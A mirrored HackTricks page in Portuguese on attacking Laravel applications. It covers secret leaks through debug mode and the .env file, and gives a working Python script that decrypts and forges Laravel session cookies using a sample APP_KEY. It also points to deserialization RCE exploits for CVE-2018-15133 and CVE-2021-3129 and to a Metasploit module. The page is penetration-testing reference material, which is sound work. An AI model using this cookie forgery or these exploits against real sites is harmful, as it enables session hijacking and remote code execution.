mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-27 21:43:43 +00:00
120 lines
8.1 KiB
Markdown
120 lines
8.1 KiB
Markdown
# Laravel
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
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* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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## Truques do Laravel
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### Modo de depuração
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Se o Laravel estiver em **modo de depuração**, você poderá acessar o **código** e os **dados sensíveis**.\
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Por exemplo, `http://127.0.0.1:8000/profiles`:
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.png>)
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Isso geralmente é necessário para explorar outras vulnerabilidades de RCE do Laravel.
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### .env
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O Laravel salva o APP que usa para criptografar os cookies e outras credenciais dentro de um arquivo chamado `.env` que pode ser acessado usando alguma travessia de diretório em: `/../.env`
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O Laravel também mostrará essas informações na página de depuração (que aparece quando o Laravel encontra um erro e é ativado).
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Usando a chave secreta APP\_KEY do Laravel, você pode descriptografar e recriptografar cookies:
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### Descriptografar Cookie
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```python
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import os
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import json
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import hashlib
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import sys
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import hmac
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import base64
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import string
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import requests
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from Crypto.Cipher import AES
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from phpserialize import loads, dumps
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#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
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def mcrypt_decrypt(value, iv):
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global key
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AES.key_size = [len(key)]
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crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
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return crypt_object.decrypt(value)
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def mcrypt_encrypt(value, iv):
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global key
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AES.key_size = [len(key)]
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crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
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return crypt_object.encrypt(value)
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def decrypt(bstring):
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global key
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dic = json.loads(base64.b64decode(bstring).decode())
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mac = dic['mac']
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value = bytes(dic['value'], 'utf-8')
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iv = bytes(dic['iv'], 'utf-8')
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if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
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return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
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#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
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return ''
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def encrypt(string):
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global key
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iv = os.urandom(16)
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#string = dumps(string)
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padding = 16 - len(string) % 16
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string += bytes(chr(padding) * padding, 'utf-8')
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value = base64.b64encode(mcrypt_encrypt(string, iv))
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iv = base64.b64encode(iv)
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mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
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dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
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return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
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app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
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key = base64.b64decode(app_key)
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decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
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#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
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encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
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```
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### Laravel Deserialization RCE
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Versões vulneráveis: 5.5.40 e 5.6.x até 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
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Aqui você pode encontrar informações sobre a vulnerabilidade de deserialização: [https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
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Você pode testar e explorar usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
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Ou você também pode explorá-lo com o metasploit: `use unix/http/laravel_token_unserialize_exec`
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### CVE-2021-3129
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Outra deserialização: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
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### Laravel SQLInjection
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Leia informações sobre isso aqui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
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* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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